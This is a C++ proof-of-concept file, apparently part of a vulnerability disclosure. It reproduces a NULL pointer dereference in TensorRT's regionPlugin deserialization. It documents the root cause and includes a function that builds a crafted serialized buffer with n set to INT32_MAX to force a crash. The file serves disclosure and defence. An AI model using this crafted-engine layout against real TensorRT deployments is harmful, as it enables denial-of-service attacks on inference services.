File size: 7,918 Bytes
190a505 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | /*
* TensorRT regionPlugin NULL Pointer Dereference - Proof of Concept
*
* Vulnerability: NULL pointer dereference in Region plugin deserialization
* CWE-476: NULL Pointer Dereference
* CWE-789: Uncontrolled Memory Allocation
*
* Affected file : plugin/regionPlugin/regionPlugin.cpp
* Affected lines: allocateChunk template (lines 38-42), deserialization
* constructor (lines 93-227), loop at lines 152-168
*
* Root cause:
* allocateChunk<T>(ptr, count) calls malloc(count * sizeof(T)) with no NULL
* check on the return value. When `count` is an attacker-controlled value
* from the serialized engine buffer (smTreeTemp->n), a crafted value of
* INT32_MAX causes malloc(~8.5 GB) to fail and return NULL. The subsequent
* loop immediately dereferences ptr[0] at address 0x0 β SIGSEGV.
*
* Trigger path:
* tensorrt.Runtime.deserialize_cuda_engine(crafted_engine_bytes)
* β RegionPluginCreator::deserializePlugin()
* β Region::Region(buffer, length) [regionPlugin.cpp:93]
* β allocateChunk(smTreeTemp->leaf, INT32_MAX) [regionPlugin.cpp:121]
* β malloc(0x1FFFFFFFC) fails β leaf = NULL
* β smTreeTemp->leaf[0] = read<int32_t>(d) [regionPlugin.cpp:156]
* β NULL pointer dereference β SIGSEGV
*
* Compile (no CUDA required):
* g++ -std=c++17 -O0 -o poc_tensorrt poc_tensorrt.cpp
*
* Run:
* ./poc_tensorrt
*
* Expected output:
* [*] n = 2147483647 (0x7FFFFFFF)
* [*] malloc requested: 8589934588 bytes (8.0 GB)
* [*] leaf ptr after allocateChunk: 0x0 (NULL β malloc failed)
* [!] NULL pointer dereference in loop iteration 0 β expect SIGSEGV
* Segmentation fault (core dumped)
*/
#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <cstdio>
#include <climits>
// ββ Exact copy of allocateChunk from regionPlugin.cpp:38-42 ββββββββββββββββββ
// BUG: no NULL check after malloc
template <typename T>
void allocateChunk(T*& ptr, int32_t count)
{
ptr = static_cast<T*>(malloc(count * sizeof(T)));
// Missing: if (ptr == nullptr) { throw / return error; }
}
// ββ Deserialization read helper (identical to plugin/common) βββββββββββββββββ
template <typename T>
T read(char const*& d)
{
T val;
memcpy(&val, d, sizeof(T));
d += sizeof(T);
return val;
}
// ββ softmaxTree (matches regionPlugin.h) βββββββββββββββββββββββββββββββββββββ
struct softmaxTree {
int32_t n;
int32_t groups;
int32_t* leaf;
int32_t* parent;
int32_t* child;
int32_t* group;
char** name;
int32_t* groupSize;
int32_t* groupOffset;
};
// ββ Build the malicious serialization buffer ββββββββββββββββββββββββββββββββββ
//
// Binary layout mirrors Region::serialize() at regionPlugin.cpp:301-363:
//
// Offset Size Field
// 0 4 C (int32_t)
// 4 4 H (int32_t)
// 8 4 W (int32_t)
// 12 4 num (int32_t)
// 16 4 classes (int32_t)
// 20 4 coords (int32_t)
// 24 1 softmaxTreePresent (bool) β set TRUE
// 25 1 leafPresent (bool) β set TRUE β triggers allocateChunk(leaf, n)
// 26 1 parentPresent (bool)
// 27 1 childPresent (bool)
// 28 1 groupPresent (bool)
// 29 1 namePresent (bool)
// 30 1 groupSizePresent (bool)
// 31 1 groupOffsetPresent (bool)
// 32 4 n = INT32_MAX (int32_t) β MALICIOUS VALUE
//
static size_t build_malicious_buffer(char* buf)
{
char* d = buf;
auto w32 = [&](int32_t v) { memcpy(d, &v, 4); d += 4; };
auto wb = [&](bool v) { *d++ = v ? 1 : 0; };
w32(1); w32(1); w32(1); // C, H, W
w32(1); w32(1); w32(1); // num, classes, coords
wb(true); // softmaxTreePresent β enters tree branch
wb(true); // leafPresent β triggers allocateChunk(leaf, n) and loop write
wb(false); // parentPresent
wb(false); // childPresent
wb(false); // groupPresent
wb(false); // namePresent
wb(false); // groupSizePresent
wb(false); // groupOffsetPresent
w32(INT32_MAX); // n = 2,147,483,647 β malloc(8.5 GB) β fails β NULL
return (size_t)(d - buf);
}
// ββ Replicate Region::Region(buffer, length) β regionPlugin.cpp:93-227 βββββββ
static void trigger_deserialize(char const* buffer, size_t length)
{
char const* d = buffer;
/* C = */ read<int32_t>(d);
/* H = */ read<int32_t>(d);
/* W = */ read<int32_t>(d);
/* num = */ read<int32_t>(d);
/* classes = */ read<int32_t>(d);
/* coords = */ read<int32_t>(d);
bool softmaxTreePresent = read<bool>(d);
bool leafPresent = read<bool>(d);
bool parentPresent = read<bool>(d);
bool childPresent = read<bool>(d);
bool groupPresent = read<bool>(d);
/* namePresent = */ read<bool>(d);
/* groupSizePresent = */ read<bool>(d);
/* groupOffsetPresent = */ read<bool>(d);
if (softmaxTreePresent)
{
softmaxTree* smTreeTemp;
allocateChunk(smTreeTemp, 1); // allocates 1 struct β succeeds
smTreeTemp->n = read<int32_t>(d); // n = INT32_MAX (attacker-controlled)
printf("[*] n = %d (0x%08X)\n",
smTreeTemp->n, (uint32_t)smTreeTemp->n);
printf("[*] malloc requested: %zu bytes (%.1f GB)\n",
(size_t)smTreeTemp->n * sizeof(int32_t),
(double)((size_t)smTreeTemp->n * sizeof(int32_t)) / (1 << 30));
if (leafPresent)
{
// regionPlugin.cpp:121 β THE VULNERABLE CALL
allocateChunk(smTreeTemp->leaf, smTreeTemp->n);
printf("[*] leaf ptr after allocateChunk: %p\n", (void*)smTreeTemp->leaf);
if (smTreeTemp->leaf == nullptr)
printf("[!] malloc FAILED β leaf is NULL\n"
"[!] Entering loop β crash on first iteration...\n\n");
}
else smTreeTemp->leaf = nullptr;
if (parentPresent)
allocateChunk(smTreeTemp->parent, smTreeTemp->n);
else smTreeTemp->parent = nullptr;
if (childPresent)
allocateChunk(smTreeTemp->child, smTreeTemp->n);
else smTreeTemp->child = nullptr;
if (groupPresent)
allocateChunk(smTreeTemp->group, smTreeTemp->n);
else smTreeTemp->group = nullptr;
// regionPlugin.cpp:152-168 β CRASH HERE (i=0, leaf=NULL)
for (int32_t i = 0; i < smTreeTemp->n; i++)
{
if (leafPresent)
smTreeTemp->leaf[i] = read<int32_t>(d); // NULL DEREF β SIGSEGV
if (parentPresent)
smTreeTemp->parent[i] = read<int32_t>(d);
if (childPresent)
smTreeTemp->child[i] = read<int32_t>(d);
if (groupPresent)
smTreeTemp->group[i] = read<int32_t>(d);
}
}
}
int main()
{
setvbuf(stdout, nullptr, _IONBF, 0); // unbuffered β survives crash
printf("============================================================\n");
printf(" TensorRT regionPlugin NULL Pointer Dereference PoC\n");
printf(" CWE-476 | CWE-789 | plugin/regionPlugin/regionPlugin.cpp\n");
printf("============================================================\n\n");
char buffer[64] = {};
size_t len = build_malicious_buffer(buffer);
printf("[*] Crafted plugin blob: %zu bytes\n\n", len);
trigger_deserialize(buffer, len);
// Should never reach here
printf("\n[-] ERROR: should have crashed β SIGSEGV not triggered\n");
return 1;
}
|